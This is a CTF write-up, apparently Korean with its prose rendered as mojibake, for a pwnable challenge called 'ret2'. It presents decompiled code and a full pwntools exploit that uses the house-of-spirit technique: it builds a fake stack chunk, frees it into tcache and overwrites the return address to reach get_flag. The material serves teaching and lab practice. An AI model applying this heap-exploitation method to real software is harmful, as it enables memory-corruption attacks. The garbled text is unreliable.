๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : ret2
ํน์ ์ฃผ์๋ฅผ free
ํ ์ ์๋ค. bins
์ ์ํ๋ ์ฃผ์๋ฅผ ๋ฃ๊ณ , malloc
์ผ๋ก ๋ฃ์๋ ์ฃผ์๋ฅผ ํ ๋น๋ฐ์ ์ ์๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๐ง ๋ถ์
์์ ๊ฐ์ ๋ณดํธ ๊ธฐ๋ฒ์ด ๊ฑธ๋ ค์๋ค. ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.
๐ง main ํจ์ ๋ถ์
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-34h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
ssize_t v6; // [rsp+38h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("Your name : ");
v6 = read(0, buf, 0x39uLL);
if ( v6 <= 0 )
buf[0] = 0;
else
buf[v6 - 1] = 0;
printf("Happy birthday. Today is %s's birthday\n", buf);
while ( 1 )
{
option();
__isoc99_scanf("%d", &v4);
if ( v4 <= 0 || v4 > 4 )
break;
switch ( v4 )
{
case 4:
puts("Options in development :P");
gift(buf);
break;
case 3:
wish_edit();
break;
case 1:
wish_show();
break;
default:
wish_add();
break;
}
}
puts("This option is disabled.");
return 0;
}
main
ํจ์ ์ด๋ค. ์์ผ์ ์ด๋ฆ์ ๋ฌผ์ด๋ณด๊ณ , buf
์ ์
๋ ฅ๋ฐ๋๋ค. ํด๋น ๋ถ๋ถ์์ bof
๊ฐ ํฐ์ง ๊ฒ ๊ฐ์ง๋ง, RET
๋ณ์กฐ๊ฐ ๋์ง ์๋๋ค. ์ดํ ๋ฉ๋ด๋ฅผ ์ ํํ์ฌ ๋ฉ๋ด์ ๋ง๋ ํจ์๊ฐ ํธ์ถ๋๋ค.
๐ง wish_show ํจ์ ๋ถ์
์์ ์ ์์๋ฆฌ์คํธ๋ฅผ ๋ณด์ฌ์ฃผ๋ ํจ์์ด๋ค. ๋ฐ๋ณต๋ฌธ์ ํตํด ์์๋ฆฌ์คํธ๋ฅผ ์ถ๋ ฅํ๋ค.
๐ง wish_add ํจ์ ๋ถ์
size
๋ฅผ ์
๋ ฅ๋ฐ๊ณ chunk
๋ฅผ ํ ๋นํ๋ค. ์ด 10๊ฐ์ chunk
๊น์ง ํ ๋นํ ์ ์๋ค.
๐ง wish_edit ํจ์ ๋ถ์
์์๋ฆฌ์คํธ๋ฅผ ์์ ํด์ฃผ๋ ํจ์์ด๋ค. memset
ํจ์๋ก ๊ฐ์ ์ด๊ธฐํํ๊ณ , ํ ๋น๋์๋ size
๋งํผ ์
๋ ฅ์ ๋ฐ๋๋ค.
๐ง gift ํจ์ ๋ถ์
๋จผ์ , ์ธ์๋ก ๋์ด์จ buf
๋ณ์์ ์ฃผ์๋ฅผ ์ถ๋ ฅํด์ค๋ค. ๋ํ, ์ ์๋ฅผ ์
๋ ฅ๋ฐ์ ํด๋นํ๋ ์ฃผ์๋ฅผ free
ํ๋ค. ์ด ํจ์๋ฅผ ํตํด ์คํ ๋ถ๋ถ์ fake chunk
๋ฅผ ๊ตฌ์ฑํ๊ณ , ํด๋น ๋ถ๋ถ์ free
ํ์ฌ ์คํ ์ฃผ์๋ฅผ bins
์ ๋ฃ์ ์ ์๋ค.
๐ง get_flag ํจ์
get_flag
ํจ์์ ์์์ฃผ์๋ 0x401276
์์ ์ ์ ์๋ค. ์ด ํจ์๋ฅผ ํธ์ถํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
๐ง ๊ณต๊ฒฉ ์๋๋ฆฌ์ค
Your name
์ ์ ๋ ฅํ ๋,chunk
๋ผ๊ณ ์๊ฐํ๊ณsize
๋ฅผ ๋ฃ์ด์ค๋ค.- 1๋ฒ์์ ์
๋ ฅํ buf+16(
chunk
์mem
์ฃผ์)๋ฅผfree
ํ๋ค. bins
์ ๋ค์ด๊ฐsize
๋งํผ ์คํ ๊ณต๊ฐ์ ๋ค์ ํ ๋น๋ฐ๊ณ , ์ ๋ ฅ์ ํตํดRET
๋ฅผ ๋ณ์กฐํ๋ค.
๐กhouse of spirit
ํด๋น ๋ฌธ์ ๋ฅผ ๋ง๋ค๋ฉด์, house of spirit ๊ธฐ๋ฒ์ ๋ํด ๊ณต๋ถํ์๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
context.log_level = "debug"
#p = process("./ret2")
e = ELF("./ret2")
p = remote('192.168.83.137', 13579)
flag_addr = e.sym["get_flag"]
def show():
p.sendlineafter(b"> ", str(1))
def add(size, data):
p.sendlineafter(b"> ", str(2))
p.sendlineafter(b"Size: ", str(size))
p.sendlineafter(b"Data: ", data)
def edit(idx, data):
p.sendlineafter(b"> ", str(3))
p.sendlineafter(b"Index: ", str(idx))
p.sendlineafter(b"Data: ", data)
def gift():
p.sendlineafter(b"> ", str(4))
p.recvuntil(b'is ')
stackAddr = int(p.recvn(14),16)
freeAddr = stackAddr + 16
log.info('\tstack addr :' + hex(stackAddr))
log.info('\tfree addr :' + hex(freeAddr))
p.sendlineafter(b"addr: ", str(freeAddr))
def shell():
p.sendlineafter(b"> ", str(99))
payload = b'A' * 8 + p64(80)
p.sendafter(b"Your name :", payload)
add(16, b'AAAA')
gift()
payload = b'A'*(0x28)
payload += p64(flag_addr)
add(64, payload)
shell()
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
์ ์ฌ์ง์ free
๊ฐ ์งํ๋์์ ๋์ bins
์ ์ํ์ด๋ค. tcachebins
์ 0x50(80)
์์ ์คํ ์ฃผ์๊ฐ ๋ค์ด๊ฐ ๊ฒ์ ๋ณผ ์ ์๋ค.
add(64, payload)
์ฐ๋ฆฌ๊ฐ ๋ฃ๊ณ ์ ํ๋ ๊ฐ์ด ์ ๋ค์ด๊ฐ์ก๋ค.
read
ํจ์์์ rbp
์ buf
์ ์ฃผ์๊ฐ 0x30
๋งํผ ๋จ์ด์ ธ ์๊ธฐ ๋๋ฌธ์, ์์ ์ป์ ์ฃผ์์ธ 0x7ffc53f024d0
์์ +0x38
์ ํ๋ฉด main
ํจ์์ RET
๊ณต๊ฐ์ด ๋๋ค.
read
ํจ์๋ก๋ ๋ฎ์ ์ ์์๋ RET
๊ฐ get_flag
ํจ์ ์ฃผ์๋ก ๋ฎ์๋ค. ๋ฐ๋ผ์, flag ๊ฐ์ ์ถ๋ ฅํด์ค๋ค.